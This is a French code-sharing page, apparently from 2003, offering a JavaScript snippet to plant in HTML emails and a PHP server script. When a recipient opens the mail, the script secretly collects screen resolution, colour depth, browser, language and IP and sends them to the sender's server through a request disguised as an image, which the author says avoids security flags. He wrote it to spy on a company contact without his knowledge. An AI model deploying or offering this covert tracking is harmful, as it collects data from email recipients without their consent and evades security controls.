Accueil > > > ASTUCE > COMMENT SAVOIR SI LE DESTINATAIRE A REÇU VOTRE MAIL ET SAVOIR QUELLE EST SA CONFIG
ASTUCE > COMMENT SAVOIR SI LE DESTINATAIRE A REÇU VOTRE MAIL ET SAVOIR QUELLE EST SA CONFIG
Information sur la source
Description
Bijour ! Voilà, encore un code à la con de ma part ... je m'en excuse mais c'est plus fort que moi ! J'avais besoin de savoir si un mec d'une société lisait bien les mails que je lui envoyés car il ne répondait jamais, et je voulais aussi savoir ça config pour me marrer :p J'ai donc crée une petit script Javascript (côté mail) et PHP (côté serveur) qui envoi toutes ses infos quand le mec ouvre le mail ! Sans se faire flag par les paramètres de sécurités : j'ouvre une image qui est enfet le script PHP donc une image n'est pas considérée comme dangereuse !!! Biensur ce code marche uniquement si le mec accepte la lecture des mails en HTML ! Pensez aux notes et aux commentaires, ça fait tjs plaisir !
Source
- Dans le mail (de préférence au début après <body>) :
- -------------------------------------------------------------
-
- <SCRIPT LANGUAGE="JavaScript">
-
- resolution = screen.width + 'x' + screen.height; // Résolution de l'écran
- couleurs = screen.colorDepth + 'bits'; // Nombre de couleurs
- navigateur = navigator.appName + ' ' + navigator.appVersion; // Navigateur (mais aussi, défois le système d'exploitation ...)
- langue = navigator.systemLanguage; // Le language par défault sur le navigateur
-
- // On remplace les espaces par des + pour pas foutre la merde dans les URL !
- resolution = resolution.replace(" ","+");
- couleurs = couleurs.replace(" ","+");
- navigateur = navigateur.replace(" ","+");
- langue = langue.replace(" ","+");
-
- send = new Image; // send est une image
- send.src = 'http://www.tonserveur.tld/script.php?resol=' + resolution + '&color=' + couleurs + '&navig=' + navigateur + '&lg=' + langue; // On envoi toutes les infos au script PHP (il faut modifier l'adresse bien entendu)
-
- </SCRIPT>
-
-
- Le script PHP, à mettre sur votre serveur :
- -----------------------------------------------
-
- <?
- $mail = "toi@tonserveur.tld"; // Ton mail
- $obje = "[Notify] : $REMOTE_ADDR"; // Objet du Message
- $msg = "IP : $REMOTE_ADDR\nNavigateur : $navig\nRésolution : $resol\nCouleurs : $color\nLangue : $lg"; // Message
- $ente = "From: Notify<notify@tonserveur.tld>\n"; // En-tête du message
-
- mail($mail,$obje,$msg,$ente); // Envoi du mail
- ?>
Dans le mail (de préférence au début après <body>) :
-------------------------------------------------------------
<SCRIPT LANGUAGE="JavaScript">
resolution = screen.width + 'x' + screen.height; // Résolution de l'écran
couleurs = screen.colorDepth + 'bits'; // Nombre de couleurs
navigateur = navigator.appName + ' ' + navigator.appVersion; // Navigateur (mais aussi, défois le système d'exploitation ...)
langue = navigator.systemLanguage; // Le language par défault sur le navigateur
// On remplace les espaces par des + pour pas foutre la merde dans les URL !
resolution = resolution.replace(" ","+");
couleurs = couleurs.replace(" ","+");
navigateur = navigateur.replace(" ","+");
langue = langue.replace(" ","+");
send = new Image; // send est une image
send.src = 'http://www.tonserveur.tld/script.php?resol=' + resolution + '&color=' + couleurs + '&navig=' + navigateur + '&lg=' + langue; // On envoi toutes les infos au script PHP (il faut modifier l'adresse bien entendu)
</SCRIPT>
Le script PHP, à mettre sur votre serveur :
-----------------------------------------------
<?
$mail = "toi@tonserveur.tld"; // Ton mail
$obje = "[Notify] : $REMOTE_ADDR"; // Objet du Message
$msg = "IP : $REMOTE_ADDR\nNavigateur : $navig\nRésolution : $resol\nCouleurs : $color\nLangue : $lg"; // Message
$ente = "From: Notify<notify@tonserveur.tld>\n"; // En-tête du message
mail($mail,$obje,$msg,$ente); // Envoi du mail
?>
Conclusion
PoPo 2003 http://popolinux.zapto.org http://www.lesciga lesenfolie.com
Sources du même auteur
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
SLIDE & DéMO TECHDAYS 2012 - FAST & FURIOUS XAML APPSSLIDE & DéMO TECHDAYS 2012 - FAST & FURIOUS XAML APPS par Vko
Retrouvez les slides et les démo de ma session Fast & Furious XAML Apps. A ceux qui se posent la question : "est-ce que le code de la DataGrid est disponible?", je vous répondrais "pas encore". Je vais mettre en place un projet codeplex pour part...
Cliquez pour lire la suite de l'article par Vko XNA IS DEAD!XNA IS DEAD! par richardc
Depuis la semaine dernière (et grâce aux TechDays 2012), je me penche activement sur la nouvelle version de Windows, aka Windows 8. Vous me direz, il était temps puisque la première preview date de Septembre dernier.
OK. Remarquez, on n'en est qu'aux...
Cliquez pour lire la suite de l'article par richardc TECHDAYS PARIS 2012 : WINDOWS SERVER "8" QUOI DE 9 !TECHDAYS PARIS 2012 : WINDOWS SERVER "8" QUOI DE 9 ! par ROMELARD Fabrice
Speakers: Fabrice Meillon et Stanislas Quastana Cette session est basée entièrement sur celle donnée lors de la BUILD cet hiver. Il n'y a pas d'ajout d'information en rapport avec cet évènement passé. Windows 8 Server sera intégralem...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice [HTML5] AUTOUR DU W3C : NOUVEAUX STANDARDS ET WEB MOBILE (LILLE)[HTML5] AUTOUR DU W3C : NOUVEAUX STANDARDS ET WEB MOBILE (LILLE) par Gio
Je m'y prends un peu tard je sais, mais bon je suis développeur web et donc hyper fainéant ! Toujours dans le cadre des technologies émergentes, ici HTML5, parce qu'on aime HTML5 chez Wyg , nous seront présent, le vieux ( Aurélien V.) et moi, pour pr...
Cliquez pour lire la suite de l'article par Gio
Forum
CHAMPS TIMECHAMPS TIME par vargas
Cliquez pour lire la suite par vargas
Logiciels
DocTranslate (V3.1.0.0)DOCTRANSLATE (V3.1.0.0)DocTranslate est un traducteur de document Microsoft Word, PowerPoint et Excel. Il permet d'autom... Cliquez pour télécharger DocTranslate Tribler (2012)TRIBLER (2012)Tribler est un client pair à pair (P2P/Peer-to-Peer) open source avec la capacité de regarder des... Cliquez pour télécharger Tribler OneSwarm (2012)ONESWARM (2012)Le peer-to-peer qui protège votre vie privée, c'est OneSwarm.
Ce logiciel de peer-to-peer crypté... Cliquez pour télécharger OneSwarm PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V8.4)PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V8.4)PONAMEDIA TV DEVIENS HELLLOOO FLASH
LA TV SUR VOTRE ORDINATEUR.
Toute une plateforme Multi... Cliquez pour télécharger PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO Academy System (17.2.1.0)ACADEMY SYSTEM (17.2.1.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System
|